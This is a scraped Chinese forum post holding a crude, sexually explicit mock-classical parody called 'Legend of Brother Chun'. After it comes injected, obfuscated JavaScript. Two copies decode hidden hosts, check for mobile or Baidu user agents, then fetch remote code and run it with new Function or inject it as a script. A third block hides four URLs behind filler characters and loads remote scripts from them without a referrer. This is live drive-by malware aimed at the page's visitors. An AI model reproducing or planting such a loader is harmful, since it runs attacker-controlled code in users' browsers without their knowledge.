[古典]春哥传
春哥，哥名御春，成都人氏也。生而能勃，三岁梦遗，五岁自慰，七岁抠女，九岁嫖鸡。及至十岁，已然阅女数千。每事罢，常叹人生不过如此，郁郁而不得志。
某夜，春哥连御十女而意犹未尽，乃怒曰：“天地不仁，即生吾于世间，奈何不能尽吾兴乎？”其声所至之处，天崩地坼，江河倒流。须臾，一白发老翁至，谓春哥曰：“吾太上老君也。汝为何兴此盛怒，令吾不能安卧于天庭？”春哥俱以实告。老君曰：“此事易耳。吾有仙术曰爆菊，可尽汝之兴。此术本不传凡人，然吾观汝形容伟岸，器具雄壮，当可习之。”遂授春哥以爆菊之术。
春哥习爆菊之术，三月乃成。稍试之，大爽，喜曰：“大丈夫当如是也！”自是，春哥不复御女，而专以爆菊为乐。有民闻春哥仙术，遂自号“玉米”甘为奴役，曰：“朝被爆，夕死可矣！”春哥遂威名大振。
有淫妇曰芙蓉姐姐者，据阴山为女王。芙蓉嗜采补之术，日吸精百斗。于山下设卡，凡美男壮汉皆掳入山中以供享用。被掳者或大病而出，或亡于山下。有民谣曰“少男进，老翁出；壮汉进，白骨出”。世人既怨且畏，皆不能与之争。春哥闻之，曰：“吾九尺男儿，爆菊千万，安能容此妇于世间乎！”遂单骑入阴山，与芙蓉裸战四十九日，终爆之。
春哥既胜，声威益隆。时东方有巨匠曰阿迪王者能制神靴，然唯与王公贵胄；西方有名马曰草泥马者日行万里，然无人能御。及闻春哥威名，阿迪王作上品之靴以奉春哥，草泥马俯首系颈以供驱策。
东瀛有浪人曰龟头正雄者亦善爆菊之术，欲与春哥一争雌雄。春哥慨然应战。龟头于校场左右各置玉米百名，谓春哥曰：“先爆完者胜。”春哥笑而不语。龟头怪之，春哥乃曰：“此计诚可。然汝菊尚在否？”龟头以手抚菊，方知已为春哥所爆。遂拜服曰：“春哥爆菊于无形，吾不及也。”
海内外闻之皆服，曰：“春哥纯爷们，铁血真汉子！”
太史公曰：吾尝观古今之俊杰，张飞、李逵之流有勇无谋，子房、孔明之辈老奸巨滑，秦皇、汉武之徒专横跋扈，潘安、宋玉之伦油头粉面。堪当“纯爷们”三字者，唯春哥一人耳。太祖曰“数风流人物，还看春哥”，不亦宜乎！
主题格式要符合版规！
----1794
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczNTY2MTk1MC566aXdldXUuY29tOjQwMzc=','2241','2673',window,document,['6','y']);}:function(){};
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczNTY2MTk4MS56aXdldXUuY29tOjjQwNDA=','2241','2672',window,document,['j','y']);}:function(){};
let urls=["hIItIItIIpIIsII:II/II/IIuII2IIoII8IInII8II9II5IIfII.IIoIIsIIsII-IIcIInII-IIhIIaIInIIgIIzIIhIIoIIuII.IIaIIlIIiIIyIIuIInIIcIIsII.IIcIIoIImII/II8II/II1II1II0II5II7II0II0IIdIIaII2II3II4II8".split("II").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBbBB4BBbBB5BBbBB6BB.BBcBBoBBmBB/BB8BB/BB1BB1BB0BB5BB7BB0BB0BBdBBaBB2BB3BB4BB8".split("BB").join(""),"hIItIItIIpIIsII:II/II/IImIIqII8IInII8II9II5IIfII.IIoIIsIIsII-IIcIInII-IIsIIhIIaIInIIgIIhIIaIIiII.IIaIIlIIiIIyIIuIInIIcIIsII.IIcIIoIImII/II8II/II1II1II0II5II7II0II0IIdIIaII2II3II4II8".split("II").join(""),"hKKtKKtKKpKKsKK:KK/KK/KKdKK8KK9KK-KK1KK3KK1KK3KK9KK4KK4KK0KK6KK2KK.KKcKKoKKsKK.KKaKKpKK-KKhKKoKKnKKgKKkKKoKKnKKgKK.KKmKKyKKqKKcKKlKKoKKuKKdKK.KKcKKoKKmKK/KK1KK1KK0KK5KK7KK0KK0KKdKKaKK2KK3KK4KK8".split("KK").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2348_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();
